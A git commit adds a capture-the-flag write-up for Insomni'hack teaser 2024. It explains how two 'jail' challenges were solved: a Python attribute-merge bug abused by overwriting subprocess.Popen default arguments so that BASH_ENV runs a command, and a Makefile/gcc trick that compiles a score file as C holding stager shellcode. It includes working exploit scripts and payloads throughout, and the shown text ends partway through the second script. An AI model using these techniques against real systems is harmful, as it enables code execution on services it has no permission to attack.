insomnihack teaser 2024
This commit is contained in:
parent
6fe6297b5c
commit
fb6d837d31
|
@ -0,0 +1 @@
|
|||
/build
|
|
@ -0,0 +1,17 @@
|
|||
builddir = build
|
||||
|
||||
pandocflags = -M wf-embed-base=https://git.lain.faith/haskal/writeups/raw/branch/main/ -M wf-link-base=https://git.lain.faith/haskal/writeups/src/branch/main/ --filter writefreely-validate --wrap=none --strip-comments
|
||||
|
||||
postid = temp
|
||||
|
||||
rule pandoc
|
||||
command = pandoc $pandocflags -o $out $in
|
||||
description = pandoc $out
|
||||
|
||||
rule upload
|
||||
command = writefreely-cli $postid $in
|
||||
description = upload $postid
|
||||
|
||||
build $builddir/post-full.md: pandoc post.md
|
||||
build upload: upload $builddir/post-full.md
|
||||
build build: phony $builddir/post-full.md
|
Binary file not shown.
After Width: | Height: | Size: 317 KiB |
|
@ -0,0 +1,864 @@
|
|||
# insomni'hack teaser 2024
|
||||
|
||||
i, for one, am not afraid to seek answers to life's toughest questions
|
||||
|
||||
like "how well can a team of 2 people do in a 24 hour ctf when they start almost 12 hours late"
|
||||
|
||||
![a screenshot of all the challenges, we solved 8/14 not counting "welcome"](https://git.lain.faith/haskal/writeups/raw/branch/main/2024/inso/chals.png)
|
||||
|
||||
this is like, not bad actually???
|
||||
|
||||
anyway, let's talk about jails
|
||||
|
||||
- [misc: PPP](#ppp)
|
||||
- [misc: terminal pursuit](#terminal-pursuit)
|
||||
|
||||
## PPP
|
||||
|
||||
(there was no flavor text for this one, it was just a flavor image of rhianna and i'm not gonna like
|
||||
go download it and then rehost it here so just imagine that's what's here)
|
||||
|
||||
[files](https://git.lain.faith/haskal/writeups/src/branch/main/2024/inso/ppp)
|
||||
|
||||
we can see immediately that the flag is inaccessible to the challenge user, and the only way to get
|
||||
it is to execute the command `/readflag Please` (immediately because i just like, ran the binary and
|
||||
found out that's what it does. i didn't bother reversing it at all)
|
||||
|
||||
here's the code for the challenge server
|
||||
|
||||
```python
|
||||
from os import popen
|
||||
import hashlib, time, math, subprocess, json
|
||||
|
||||
|
||||
def response(res):
|
||||
print(res + ' | ' + popen('date').read())
|
||||
exit()
|
||||
|
||||
def generate_nonce():
|
||||
current_time = time.time()
|
||||
rounded_time = round(current_time / 60) * 60 # Round to the nearest 1 minutes (60 seconds)
|
||||
return hashlib.sha256(str(int(rounded_time)).encode()).hexdigest()
|
||||
|
||||
def is_valid_proof(data, nonce):
|
||||
DIFFICULTY_LEVEL = 6
|
||||
guess_hash = hashlib.sha256(f'{data}{nonce}'.encode()).hexdigest()
|
||||
return guess_hash[:DIFFICULTY_LEVEL] == '0' * DIFFICULTY_LEVEL
|
||||
|
||||
|
||||
class Blacklist:
|
||||
|
||||
def __init__(self, data, nonce):
|
||||
self.data = data
|
||||
self.nonce = nonce
|
||||
|
||||
def get_data(self):
|
||||
out = {}
|
||||
out['data'] = self.data if 'data' in self.__dict__ else ()
|
||||
out['nonce'] = self.nonce if 'nonce' in self.__dict__ else ()
|
||||
return out
|
||||
|
||||
|
||||
def add_to_blacklist(src, dst):
|
||||
for key, value in src.items():
|
||||
if hasattr(dst, '__getitem__'):
|
||||
if dst[key] and type(value) == dict:
|
||||
add_to_blacklist(value, dst.get(key))
|
||||
else:
|
||||
dst[key] = value
|
||||
elif hasattr(dst, key) and type(value) == dict:
|
||||
add_to_blacklist(value, getattr(dst, key))
|
||||
else:
|
||||
setattr(dst, key, value)
|
||||
|
||||
def lists_to_set(data):
|
||||
if type(data) == dict:
|
||||
res = {}
|
||||
for key, value in data.items():
|
||||
res[key] = lists_to_set(value)
|
||||
elif type(data) == list:
|
||||
res = ()
|
||||
for value in data:
|
||||
res = (*res, lists_to_set(value))
|
||||
else:
|
||||
res = data
|
||||
return res
|
||||
|
||||
def is_blacklisted(json_input):
|
||||
|
||||
bl_data = blacklist.get_data()
|
||||
if json_input['data'] in bl_data['data']:
|
||||
return True
|
||||
if json_input['nonce'] in bl_data['nonce']:
|
||||
return True
|
||||
|
||||
json_input = lists_to_set(json_input)
|
||||
add_to_blacklist(json_input, blacklist)
|
||||
return False
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
|
||||
blacklist = Blacklist(['dd9ae2332089200c4d138f3ff5abfaac26b7d3a451edf49dc015b7a0a737c794'], ['2bfd99b0167eb0f400a1c6e54e0b81f374d6162b10148598810d5ff8ef21722d'])
|
||||
|
||||
try:
|
||||
json_input = json.loads(input('Prove your work 😼\n'))
|
||||
except Exception:
|
||||
response('no')
|
||||
|
||||
if not isinstance(json_input, dict):
|
||||
response('message')
|
||||
|
||||
data = json_input.get('data')
|
||||
nonce = json_input.get('nonce')
|
||||
client_hash = json_input.get('hash')
|
||||
|
||||
if not (data and nonce and client_hash):
|
||||
response('Missing data, nonce, or hash')
|
||||
|
||||
server_nonce = generate_nonce()
|
||||
if server_nonce != nonce:
|
||||
response('nonce error')
|
||||
|
||||
if not is_valid_proof(data, nonce):
|
||||
response('Proof of work is invalid')
|
||||
|
||||
server_hash = hashlib.sha256(f'{data}{nonce}'.encode()).hexdigest()
|
||||
if server_hash != client_hash:
|
||||
response('Hash does not match')
|
||||
|
||||
if is_blacklisted(json_input):
|
||||
response('blacklisted PoW')
|
||||
|
||||
response('Congratulation, You\'ve proved your work 🎷🐴')
|
||||
```
|
||||
|
||||
there's a proof-of-work segment (sigh), checking that your input doesn't belong to a set of
|
||||
disallowed inputs and then...seemingly nothing!
|
||||
|
||||
### where's the primitive???
|
||||
|
||||
normally what i'll loosely call "pyjail" style challenges have some sort of core execution primitive
|
||||
like doing an eval on user-supplied code, subject to some sandboxing, or maybe AST sanitization, or
|
||||
perhaps being able to replace bytecode on function objects. this code is interesting because it
|
||||
doesn't do any of that, yet we can assume that at some point we gain the ability to execute
|
||||
`/readflag Please` to read the flag
|
||||
|
||||
instead, after verifying the proof of work, it goes through the following functions
|
||||
|
||||
- `is_blacklisted`
|
||||
- transformed by `lists_to_set`
|
||||
- this function converts any lists nested at any level in the data structure to tuples
|
||||
- there's literally no need for this for normal functioning of the server, so we could
|
||||
assume it's an important part of the solution. (this turns out to be correct)
|
||||
- processed by `add_to_blacklist`
|
||||
- this merges the user input with the `Blacklist` object instance recursively, handling
|
||||
dicts and object attributes along the way
|
||||
|
||||
when something looks weird it's worth thinking about it because that can help greatly narrow the
|
||||
search space for a solution. in this case, we can assume that solutions would involve tuples
|
||||
somehow, because we're given this primitive that serves no other useful purpose than to produce
|
||||
tuples
|
||||
|
||||
so the primitive is assignment to values at any depth of objects reachable from the starting object
|
||||
instance, of any type supported by json
|
||||
|
||||
the targets of this primitive are any object that can be found by recursively traversing using
|
||||
- dict lookups
|
||||
- attribute lookups
|
||||
|
||||
and the values that can be changed or added are
|
||||
- `None`
|
||||
- strings
|
||||
- ints and floats
|
||||
- booleans
|
||||
- dicts of any of this
|
||||
- tuples of any of this
|
||||
|
||||
an important thing we *can't* do is assign a value to a lookup for an existing other runtime value.
|
||||
in other words, this is a write-only primitive
|
||||
|
||||
|
||||
### fucking around in ipython
|
||||
|
||||
a good approach to pyjails is press the `.` key and then hit tab a bunch of times in ipython.
|
||||
seriously. so let's go do that for a second
|
||||
|
||||
```python
|
||||
Python 3.11.6 (main, Nov 14 2023, 09:36:21) [GCC 13.2.1 20230801]
|
||||
Type 'copyright', 'credits' or 'license' for more information
|
||||
IPython 8.18.1 -- An enhanced Interactive Python. Type '?' for help.
|
||||
|
||||
[ins] In [1]: import ppp
|
||||
|
||||
[ins] In [2]: obj = ppp.Blacklist(['x'], ['y'])
|
||||
|
||||
[ins] In [3]: obj.__
|
||||
```
|
||||
|
||||
the object has its usual defined attributes, and then the set of python intrinsic double underscore
|
||||
attributes. the goal here is to get a reference to anything interesting, with a specific focus on
|
||||
stuff that is tuples
|
||||
|
||||
unfortunately the object itself is not that interesting. `__class__` is a useful thing to get
|
||||
references to other random stuff but we get stuck at the `__subclasses__()` barrier because that's a
|
||||
function and we can't call functions. most of this stuff is also read-only, so that doesn't help us
|
||||
either
|
||||
|
||||
let's look at the function `get_data`
|
||||
|
||||
```python
|
||||
[ins] In [3]: obj.get_data.__
|
||||
```
|
||||
|
||||
i was expecting there to be like `__code__` in here but there *wasn't*. so i quickly learned that
|
||||
this is a bound instance of the underlying function, which python has a dedicated object for, and
|
||||
the underlying function can be accessed with `__func__`
|
||||
|
||||
```python
|
||||
[ins] In [3]: obj.get_data.__func__.__
|
||||
```
|
||||
|
||||
so there's the `__code__` attribute which can be used to replace the bytecode of the function, but
|
||||
only if you call the `replace` function, the attributes can't be written directly. there's some
|
||||
other stuff in here but it's mostly function calls and not that interesting. `__module__` would be
|
||||
nice if it were a reference *to the actual module* and not just the name of it but oh well
|
||||
|
||||
one thing i found here that is really interesting is `__defaults__` and `__kwdefaults__`
|
||||
|
||||
### `__defaults__`
|
||||
|
||||
`__defaults__` stores the default arguments for the function, if it was defined with default
|
||||
arguments
|
||||
|
||||
```python
|
||||
[ins] In [1]: def my_func(a="default value"):
|
||||
...: print(a)
|
||||
...:
|
||||
|
||||
[ins] In [2]: my_func.__defaults__
|
||||
Out[1]: ('default value',)
|
||||
```
|
||||
|
||||
`__kwdefaults__` similarly does defaults for non-positional keyword arguments
|
||||
|
||||
notice how `__defaults__` takes a tuple. *and it's settable*
|
||||
|
||||
```python
|
||||
[ins] In [3]: my_func.__defaults__ = ("lol hacked",)
|
||||
|
||||
[ins] In [4]: my_func()
|
||||
lol hacked
|
||||
```
|
||||
|
||||
it's all coming together,,,
|
||||
|
||||
unfortunately `get_data` doesn't take any arguments. so we'll have to find something else to do this
|
||||
on
|
||||
|
||||
### going deeper
|
||||
|
||||
backtracking, there is one more useful key in the function's attributes: `__globals__`
|
||||
|
||||
```python
|
||||
[ins] In [3]: obj.get_data.__func__.__globals__
|
||||
{
|
||||
[...snip...]
|
||||
'popen': <function os.popen(cmd, mode='r', buffering=-1)>,
|
||||
'hashlib': <module 'hashlib' from '/usr/lib/python3.11/hashlib.py'>,
|
||||
'time': <module 'time' (built-in)>,
|
||||
'math': <module 'math' from '/usr/lib/python3.11/lib-dynload/math.cpython-311-x86_64-linux-gnu.so'>,
|
||||
'subprocess': <module 'subprocess' from '/usr/lib/python3.11/subprocess.py'>,
|
||||
'json': <module 'json' from '/usr/lib/python3.11/json/__init__.py'>,
|
||||
'response': <function ppp.response(res)>,
|
||||
'generate_nonce': <function ppp.generate_nonce()>,
|
||||
'is_valid_proof': <function ppp.is_valid_proof(data, nonce)>,
|
||||
'Blacklist': ppp.Blacklist,
|
||||
'add_to_blacklist': <function ppp.add_to_blacklist(src, dst)>,
|
||||
'lists_to_set': <function ppp.lists_to_set(data)>,
|
||||
'is_blacklisted': <function ppp.is_blacklisted(json_input)>}
|
||||
```
|
||||
|
||||
neat
|
||||
|
||||
remember that the goal is the execute a command with an argument. taking a look at the actual `ppp`
|
||||
module the only remotely similar thing is the call to `popen` in the `response` function. we also
|
||||
see that `subprocess` is imported but not used (huh i wonder why that is,). so we have `popen` in
|
||||
scope here let's try to bonk it
|
||||
|
||||
```python
|
||||
# VxWorks has no user space shell provided. As a result, running
|
||||
# command in a shell can't be supported.
|
||||
if sys.platform != 'vxworks':
|
||||
# Supply os.popen()
|
||||
def popen(cmd, mode="r", buffering=-1):
|
||||
if not isinstance(cmd, str):
|
||||
raise TypeError("invalid cmd type (%s, expected string)" % type(cmd))
|
||||
if mode not in ("r", "w"):
|
||||
raise ValueError("invalid mode %r" % mode)
|
||||
if buffering == 0 or buffering is None:
|
||||
raise ValueError("popen() does not support unbuffered streams")
|
||||
import subprocess
|
||||
if mode == "r":
|
||||
proc = subprocess.Popen(cmd,
|
||||
shell=True, text=True,
|
||||
stdout=subprocess.PIPE,
|
||||
bufsize=buffering)
|
||||
return _wrap_close(proc.stdout, proc)
|
||||
else:
|
||||
proc = subprocess.Popen(cmd,
|
||||
shell=True, text=True,
|
||||
stdin=subprocess.PIPE,
|
||||
bufsize=buffering)
|
||||
return _wrap_close(proc.stdin, proc)
|
||||
|
||||
```
|
||||
|
||||
ok so let's just try to change the defaults
|
||||
|
||||
```python
|
||||
[ins] In [1]: from os import popen
|
||||
|
||||
[ins] In [2]: popen.__defaults__ = ("/readflag Please", "r", -1)
|
||||
|
||||
[ins] In [3]: popen
|
||||
Out[3]: <function os.popen(cmd='/readflag Please', mode='r', buffering=-1)>
|
||||
|
||||
[ins] In [4]: popen("date").read()
|
||||
Out[4]: 'Sun Jan 21 08:05:37 PM EST 2024\n'
|
||||
```
|
||||
|
||||
so unfortunately when the cmd argument is provided, we can't override it using the defaults. this
|
||||
makes sense
|
||||
|
||||
`os.popen` uses `subprocess.Popen` internally. hey remember how `subprocess` is imported but never
|
||||
used so it's in the `__globals__`?? wow that sure is convenient!
|
||||
|
||||
let's set defaults on `subprocess.Popen`
|
||||
|
||||
```python
|
||||
class Popen:
|
||||
# ....
|
||||
def __init__(self, args, bufsize=-1, executable=None,
|
||||
stdin=None, stdout=None, stderr=None,
|
||||
preexec_fn=None, close_fds=True,
|
||||
shell=False, cwd=None, env=None, universal_newlines=None,
|
||||
startupinfo=None, creationflags=0,
|
||||
restore_signals=True, start_new_session=False,
|
||||
pass_fds=(), *, user=None, group=None, extra_groups=None,
|
||||
encoding=None, errors=None, text=None, umask=-1, pipesize=-1,
|
||||
process_group=None):
|
||||
"""Create new Popen instance."""
|
||||
# ...
|
||||
```
|
||||
|
||||
what we are provided is `args`, `shell`, `text`, `stdout`, and `bufsize`, so we can't override
|
||||
those. but we can assign a new default value to anything else
|
||||
|
||||
at this point we could try the basic approach of setting `executable` to `/readflag`, but since
|
||||
there is no control of the argument to `/readflag` this won't work. how else can we input a full
|
||||
command with an argument?
|
||||
|
||||
### to the bash man pages!
|
||||
|
||||
one possible way to control the behavior of the shell that is launched (we can choose `bash` or the
|
||||
default `sh` [`dash`] based on the `executable` parameter) is via environment variables
|
||||
|
||||
so i opened up the man page for bash..........and then i immediately gave up and just asked
|
||||
@rhelmot whether there was any cheese with bash environment variables you could do, and she offered
|
||||
up `BASH_ENV`
|
||||
|
||||
```
|
||||
BASH_ENV
|
||||
If this parameter is set when bash is executing a shell script, its value is interpreted as a
|
||||
filename containing commands to initialize the shell, as in ~/.bashrc. The value of BASH_ENV
|
||||
is subjected to parameter expansion, command substitution, and arithmetic expansion before
|
||||
being interpreted as a filename. PATH is not used to search for the resultant filename.
|
||||
```
|
||||
|
||||
*unfortunately*, `BASH_ENV` needs to be a filename instead of just a list of commands. so to solve
|
||||
the issue of having a file @rhelmot suggested `/proc/self/environ`. unfortunately this doesn't work
|
||||
because the size of the file as reported by the kernel is 0, and bash actually uses that when
|
||||
reading it,
|
||||
|
||||
```bash
|
||||
BASH_ENV=/proc/self/environ AAAA="$(printf '\n\necho hacked\n')" strace /bin/bash -c "date"
|
||||
....
|
||||
openat(AT_FDCWD, "/proc/self/environ", O_RDONLY) = 3
|
||||
newfstatat(3, "", {st_mode=S_IFREG|0400, st_size=0, ...}, AT_EMPTY_PATH) = 0
|
||||
read(3, "", 0) = 0
|
||||
close(3) = 0
|
||||
....
|
||||
```
|
||||
|
||||
u_u
|
||||
|
||||
however there is another thing we can do which is to just use stdin, because the original stdin is
|
||||
still bound to the process that gets executed! so we can pass `BASH_ENV` as `/proc/self/fd/0` and
|
||||
then provide the additional command to run as input. this also requires us to call `shutdown` on the
|
||||
socket to the remote in order to close the stream
|
||||
|
||||
### putting it together
|
||||
|
||||
assembly of the final exploit:
|
||||
|
||||
```python
|
||||
popen_defaults = [-1, "/bin/bash", None, None, None, None, True, False,
|
||||
None, {"BASH_ENV":"/proc/self/fd/0"}, None, None, 0, True, False, []]
|
||||
```
|
||||
|
||||
this defines the defaults tuple that gets assigned to `Popen.__init__.__defaults__`, kept same as
|
||||
the original except for executable `/bin/bash` and environment with `BASH_ENV`
|
||||
|
||||
```python
|
||||
for _ in tqdm.trange(50000000):
|
||||
nonce = ppp.generate_nonce()
|
||||
data = secrets.token_hex(16)
|
||||
if ppp.is_valid_proof(data, nonce):
|
||||
break
|
||||
else:
|
||||
raise Exception("oops")
|
||||
|
||||
hash = hashlib.sha256(f'{data}{nonce}'.encode()).hexdigest()
|
||||
```
|
||||
|
||||
this generates the proof of work. we just steal the original code's nonce generator and validation
|
||||
function
|
||||
|
||||
```python
|
||||
obj = {
|
||||
"data": data,
|
||||
"nonce": nonce,
|
||||
"hash": hash,
|
||||
"get_data": {
|
||||
"__func__": {
|
||||
"__globals__": {
|
||||
"subprocess": {
|
||||
"Popen": {
|
||||
"__init__": {
|
||||
"__defaults__": popen_defaults
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
payload = json.dumps(obj)
|
||||
```
|
||||
|
||||
this assembles the payload with the proof of work along with the attribute we're setting
|
||||
|
||||
the attribute written out is
|
||||
`.get_data.__func__.__globals__["subprocess"].Popen.__init__.__defaults__`
|
||||
|
||||
finally, we run the exploit
|
||||
|
||||
```python
|
||||
print("running")
|
||||
|
||||
r = remote("ppp.insomnihack.ch", 12345)
|
||||
|
||||
print(r.recvline())
|
||||
r.sendline(payload)
|
||||
r.sendline("/readflag Please")
|
||||
```
|
||||
and here we call `shutdown` to close the stdin stream on the remote
|
||||
```python
|
||||
r.shutdown('send')
|
||||
r.interactive()
|
||||
```
|
||||
normally, we should be done here, however this didn't seem to work on the remote
|
||||
|
||||
### that's right, get nagled
|
||||
|
||||
turns out the issue (probably?) was that somehow pwntools is not setting `TCP_NODELAY` and thus the
|
||||
stage 1 and stage 2 payloads were probably getting combined into the same packet or somehow not sent
|
||||
at all. i had intuition for nagling being a thing that exists so i didn't debug this issue at all i
|
||||
just added
|
||||
|
||||
```python
|
||||
r.sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
|
||||
```
|
||||
|
||||
this made the exploit work at the time, though when testing it further i realized it's still kind of
|
||||
unstable, and i'm not actually sure how it managed to work the first time during the CTF. oh well.
|
||||
it works locally so i'm not super concerned
|
||||
|
||||
|
||||
## terminal pursuit
|
||||
|
||||
it's a *makefile/c jail*
|
||||
|
||||
> During COVID a friend of mine decided to learn coding by implementing a game he loves: Trivial
|
||||
> Pursuit. He started with C but, finding it too difficult, he switched to python midway through.
|
||||
>
|
||||
> Terminal Pursuit is the result of his work. I take no responsibility at all, all what I have done
|
||||
> was dockerize the thing, it may be broken, I'll let you figure that out...
|
||||
>
|
||||
> `nc terminal-pursuit.insomnihack.ch 1337`
|
||||
|
||||
[files](https://git.lain.faith/haskal/writeups/src/branch/main/2024/inso/terminal)
|
||||
|
||||
there's a bunch of jail stuff that ends up being kind of unimportant, but after taking a look we can
|
||||
see the structure of the server
|
||||
- `main.py`: contains the main interaction mode
|
||||
- `quizzes/Makefile`: builds the quiz binaries (in C)
|
||||
- `quizzes/*.c`: the quiz binaries
|
||||
- `quizzes/pts.txt`: the score file appended to by the quiz binaries
|
||||
|
||||
### main.py
|
||||
|
||||
i've cut it down to just the most important parts
|
||||
|
||||
```python
|
||||
alphabet = "abcdefghijklmnopqrstuvwxyz/,:;[]_-."
|
||||
|
||||
# ....
|
||||
|
||||
def get_user_string(text):
|
||||
print(text)
|
||||
s = input("> ").lower()
|
||||
for c in s:
|
||||
if c not in alphabet:
|
||||
exit(0)
|
||||
return s[:7]
|
||||
```
|
||||
|
||||
this defines the allowed user input. all inputs must be 7 characters or less, and come from the very
|
||||
restricted alphabet
|
||||
|
||||
```python
|
||||
def run_quizz(username, category):
|
||||
command = f"make run quizz=\"{prefix + category}\" username=\"{username}\""
|
||||
os.system(command)
|
||||
|
||||
def play():
|
||||
username = get_user_string(gui.username)
|
||||
category = get_user_string(gui.category)
|
||||
run_quizz(username, category)
|
||||
```
|
||||
|
||||
each quiz is run by prompting the user for their username, and the name of the quiz, and then
|
||||
calling `make` with the parameters. the makefile then builds and runs the specified quiz binary
|
||||
|
||||
```make
|
||||
CC = gcc
|
||||
CFLAGS = -x c -w
|
||||
|
||||
ifeq ($(findstring .,$(quizz)),)
|
||||
override quizz:=$(quizz).c
|
||||
endif
|
||||
|
||||
run: build
|
||||
@./run "$(username)"
|
||||
|
||||
build:
|
||||
@$(CC) $(CFLAGS) "$(quizz)" -o run
|
||||
```
|
||||
|
||||
the makefile also appends a `.c` to the quiz name if it doesn't already have a `.` in it.
|
||||
additionally it uses the `-x c` parameter to force the source language to be C. it's interesting
|
||||
that it does this because the provided quizzes, `books.c`, `ctf.c`, and `miscgod.c` are all
|
||||
obviously C files, and the flag shouldn't be needed for those. let's make a note of this
|
||||
|
||||
here's an example of a quiz, in `books.c` (note only `books.c` and `miscgod.c` are defined, `ctf.c`
|
||||
doesn't contain any quiz code)
|
||||
|
||||
```c
|
||||
// ...
|
||||
|
||||
const int LEN = 6;
|
||||
|
||||
const char *QUESTIONS[] = {
|
||||
// ...
|
||||
};
|
||||
|
||||
const int SOLUTIONS[] = { 1, 1, 1, 1, 1, 1, };
|
||||
|
||||
/******************
|
||||
* Main
|
||||
******************/
|
||||
int main(int argc, char* argv[]) {
|
||||
|
||||
setvbuf(stdout, NULL, _IONBF, 0);
|
||||
|
||||
FILE *file;
|
||||
|
||||
file = fopen(scores_file, "a");
|
||||
fprintf(file,"%s = {", argv[1]);
|
||||
|
||||
int answer;
|
||||
int score = 0;
|
||||
for (int i = 0; i < LEN; i++) {
|
||||
printf("%s\n", QUESTIONS[i]);
|
||||
printf("Your answer: ");
|
||||
scanf("%d", &answer);
|
||||
|
||||
if (answer == SOLUTIONS[i]) {
|
||||
score++;
|
||||
printf("Correct!\n\n");
|
||||
} else {
|
||||
printf("False!\n\n");
|
||||
}
|
||||
|
||||
fprintf(file, "%d,", answer);
|
||||
}
|
||||
|
||||
fprintf(file, "%d}\n", score);
|
||||
|
||||
fclose(file);
|
||||
}
|
||||
```
|
||||
|
||||
we can see that the quiz asks the user for a series of answer inputs, reads them with `scanf("%d")`,
|
||||
and produces a score file consisting of the provided username, a list of the answers, and the final
|
||||
score. for example, if we play `books` as username `user`, the resulting `pts.txt` file will look
|
||||
like this
|
||||
```
|
||||
user = {1,2,3,4,5,6,1}
|
||||
```
|
||||
|
||||
and that's it. that's all you get
|
||||
|
||||
### revisiting `-x c`
|
||||
|
||||
since there's no obvious code execution primitives in the code, we can assume that some trickery is
|
||||
needed to gain code execution. notice that `pts.txt` is in the `quizzes` directory. also, it's an
|
||||
allowed input because it's 7 chars and only uses allowed characters. what happens if we try to run
|
||||
the quiz `pts.txt`?
|
||||
|
||||
```
|
||||
$ make username=user quizz=pts.txt
|
||||
pts.txt:1:1: error: expected ‘,’ or ‘;’ at end of input
|
||||
1 | user = {1,2,3,4,5,6,1}
|
||||
| ^~~~
|
||||
make: *** [Makefile:12: build] Error 1
|
||||
```
|
||||
|
||||
huh, neat
|
||||
|
||||
the cflag `-x c` in the makefile ensures that gcc compiles `pts.txt` as if it was C source. now
|
||||
clearly as it stands it's not quite C, but maybe we can make this work
|
||||
|
||||
### when is main not a function
|
||||
|
||||
one thing that stands out here is the ability to assign a variable as a compound integer
|
||||
initializer. this can be used to define functions that are normally, y'know, functions, as arrays of
|
||||
integers, and it still works when compiled because gcc puts the integer bytes into the binary, and
|
||||
the integer bytes are valid instructions. see [main is usually a function. so then when is it
|
||||
not?](https://jroweboy.github.io/c/asm/2015/01/26/when-is-main-not-a-function.html)
|
||||
|
||||
that post comes up with the following
|
||||
|
||||
```c
|
||||
const int main[] = {
|
||||
-443987883, 440, 113408, -1922629632,
|
||||
4149, 899584, 84869120, 15544,
|
||||
266023168, 1818576901, 1461743468, 1684828783,
|
||||
-1017312735
|
||||
};
|
||||
```
|
||||
|
||||
this actually compiles, and interestingly enough just `main = { .... };` still compiles, but doesn't
|
||||
run because `main` gets put in `.data` which is not normally executable. hence the `const` in the
|
||||
above example. that actually causes main to get put in `.rodata`
|
||||
|
||||
```
|
||||
gcc -x c -w - <<EOF
|
||||
const int main[] = {
|
||||
-443987883, 440, 113408, -1922629632,
|
||||
4149, 899584, 84869120, 15544,
|
||||
266023168, 1818576901, 1461743468, 1684828783,
|
||||
-1017312735
|
||||
};
|
||||
EOF
|
||||
|
||||
objdump -x a.out | grep main
|
||||
0000000000000000 F *UND* 0000000000000000 __libc_start_main@GLIBC_2.34
|
||||
0000000000002020 g O .rodata 0000000000000034 main
|
||||
```
|
||||
|
||||
on x86-64 `.rodata` gets put in a `PT_LOAD` segment that is executable, alongside `.text`, so we end
|
||||
up with an executable main function this way
|
||||
|
||||
so basically the plan is to put integers representing shellcode for the main function in as the
|
||||
answers to a quiz, then invoke the quiz `pts.txt` in order to cause the result to be executed
|
||||
|
||||
### sizecoding time
|
||||
|
||||
we have 2 functioning quizzes available, one with 6 questions, and one with 12. they're otherwise
|
||||
identical. the 12-question quiz (`miscgod`) gives the most room for shellcode (48 bytes)
|
||||
|
||||
what i did here was actually build a stager for a second stage of shellcode, even though this was
|
||||
completely unnecessary because you can fit an `execve` call in 48 bytes (in fact pwntools' shellcode
|
||||
is exactly that). the stager uses 2 syscalls to `mmap` a new `rwx` page and then `read` shellcode
|
||||
into it and then jump to it
|
||||
|
||||
so using my amazing assembly sizecoding skills i,,,,, went to godbolt and turned on `-Os` and wrote
|
||||
the shellcode in C
|
||||
|
||||
```c
|
||||
#include <sys/syscall.h>
|
||||
#include <unistd.h>
|
||||
#include <stdint.h>
|
||||
#include <sys/mman.h>
|
||||
|
||||
#define rv(x) register uint64_t x asm(#x)
|
||||
|
||||
void test(){
|
||||
rv(rax) = SYS_mmap;
|
||||
rv(rdi) = 0;
|
||||
rv(rsi) = 4096;
|
||||
rv(rdx) = PROT_READ | PROT_WRITE | PROT_EXEC;
|
||||
rv(r10) = MAP_SHARED | MAP_ANONYMOUS;
|
||||
rv(r8) = -1;
|
||||
rv(r9) = 0;
|
||||
asm volatile("syscall":"+r"(rax):"r"(rdi),"r"(rsi),"r"(rdx),"r"(r10),
|
||||
"r"(r8),"r"(r9):"memory");
|
||||
void (*tmp)(void) = (void*)rax;
|
||||
rdi = 0;
|
||||
rsi = rax;
|
||||
rax = 0;
|
||||
rdx = 4096;
|
||||
asm volatile("syscall":"+r"(rax):"r"(rdi),"r"(rsi),"r"(rdx):"memory");
|
||||
tmp();
|
||||
}
|
||||
```
|
||||
|
||||
this produces
|
||||
```asm
|
||||
test:
|
||||
mov eax, 9
|
||||
xor edi, edi
|
||||
mov esi, 4096
|
||||
or r8, -1
|
||||
mov edx, 7
|
||||
mov r10d, 33
|
||||
xor r9d, r9d
|
||||
syscall
|
||||
mov edx, 4096
|
||||
mov rcx, rax
|
||||
mov rsi, rax
|
||||
xor eax, eax
|
||||
syscall
|
||||
jmp rcx
|
||||
```
|
||||
|
||||
it's 49 bytes. damn
|
||||
|
||||
there's a trick to save some more bytes which is to push `rax` after the `mmap` and `ret` at the
|
||||
end. this gets us down to 46 bytes
|
||||
|
||||
```asm
|
||||
mov eax, 9
|
||||
xor edi, edi
|
||||
mov esi, 4096
|
||||
or r8, -1
|
||||
mov edx, 7
|
||||
mov r10d, 33
|
||||
xor r9d, r9d
|
||||
syscall
|
||||
mov edx, 4096
|
||||
mov rsi, rax
|
||||
push rax
|
||||
xor eax, eax
|
||||
syscall
|
||||
ret
|
||||
```
|
||||
|
||||
and then the second stage is just the normal pwntools shellcode, which again, i didn't realize would
|
||||
have worked on its own. oh well
|
||||
|
||||
### fixing the formatting
|
||||
|
||||
so there's still the slight problem that the `pts.txt` file isn't quite valid C syntax as it stands.
|
||||
we can fix that, because we're allowed the `/` character, which means we can insert comments.
|
||||
additionally, we can use `;//` at the end to add the necessary semicolon (and comment out the rest)
|
||||
|
||||
for this we can use the usernames `const//`, `int//`, `main[]`, and `;//`, so the final points file
|
||||
will look like this
|
||||
|
||||
```c
|
||||
const// = { ... }
|
||||
int// = { ... }
|
||||
main[] = { shellcode int values here }
|
||||
;// = { ... }
|
||||
```
|
||||
|
||||
this becomes a valid C file in the right format
|
||||
|
||||
## putting it together
|
||||
|
||||
```python
|
||||
stage1 = """
|
||||
mov eax, 9
|
||||
xor edi, edi
|
||||
mov esi, 4096
|
||||
or r8, -1
|
||||
mov edx, 7
|
||||
mov r10d, 33
|
||||
xor r9d, r9d
|
||||
syscall
|
||||
mov edx, 4096
|
||||
mov rsi, rax
|
||||
push rax
|
||||
xor eax, eax
|
||||
syscall
|
||||
ret
|
||||
"""
|
||||
stage1_bin = asm(stage1)
|
||||
assert len(stage1_bin) == 46
|
||||
stage1_bin = stage1_bin + b"\x00\x00"
|
||||
stage1_payload = list(struct.unpack("<iiiiiiiiiiii", stage1_bin))
|
||||
|
||||
stage2 = shellcraft.linux.sh()
|
||||
stage2_bin = asm(stage2).ljust(4096, b"\x00")
|
||||
```
|
||||
this defines the stage 1 and stage 2 shellcodes to run in the exploit
|
||||
```python
|
||||
games = [
|
||||
{"quiz": "miscgod", "username": "const//", "answers": [0]*12},
|
||||
{"quiz": "miscgod", "username": "int//", "answers": [0]*12},
|
||||
{"quiz": "miscgod", "username": "main[]", "answers": stage1_payload},
|
||||
{"quiz": "miscgod", "username": ";//", "answers": [0]*12},
|
||||
{"quiz": "pts.txt", "username": "hacked", "rawinput": stage2_bin},
|
||||
]
|
||||
```
|
||||
this is a compact representation of the quiz games we're going to play in order to format the points
|
||||
file the right way
|
||||
```python
|
||||
def play_game(r, game):
|
||||
r.sendlineafter(b"> ", b"1")
|
||||
r.sendlineafter(b"> ", game["username"].encode())
|
||||
r.sendlineafter(b"> ", game["quiz"].encode())
|
||||
if "answers" in game:
|
||||
for answer in game["answers"]:
|
||||
r.sendlineafter(b"answer: ", str(answer).encode())
|
||||
else:
|
||||
r.send(game["rawinput"])
|
||||
```
|
||||
